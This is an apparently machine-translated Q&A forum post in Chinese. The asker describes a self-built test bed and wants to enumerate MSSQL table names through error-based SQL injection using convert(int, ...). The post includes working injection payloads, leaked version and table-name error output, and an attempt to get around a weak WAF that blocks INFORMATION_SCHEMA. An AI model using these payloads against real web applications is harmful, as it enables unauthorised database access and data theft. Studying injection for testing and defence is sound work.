我只是設置一個測試牀,我禁用INFORMATION_SCHEMA被訪問(弱WAF)和我一直在試圖從數據庫中提取表列表使用轉換吐出轉換錯誤與包含的信息。 要提取,我們使用的語法版本: +和+ 1 =轉換(INT,@@版) 結果將是:MSSQL注射
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.
查詢的結果是什麼是單引號內。 我們從數據庫中獲取第一個表,我們通常會使用:
convert(int,(select+top+1+table_name+from+information_schema.tables))
這將導致錯誤:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.
index.asp, line 30
同樣的答案是兩個單引號這是tblDepartement
內。 替代方式來提取表名是使用這些以下2個查詢:
(A):SELECT name FROM sys.tables
(B):select * from sys.tables
。 如果我嘗試(A)這句法:
convert(int,(select name FROM sys.tables))
我得到的錯誤:
Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'.
,如果我嘗試(B)這句法: convert(int,(select * FROM sys.tables))
我得到的錯誤:
Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'.
所以我的問題是,我怎麼能不使用information_schema和使用sys.tables而不是內部轉換語法,所以我可以得到ta數據庫中的ble列表? 謝謝。
如果'select + top + 1 + table_name + from + information_schema.tables'工作,那麼從+ sys.tables'選擇+ top + 1 + table_name +不會有任何理由。 –
@MartinSmith好吧,我不知道爲什麼,要麼,但它不工作:( – user3313946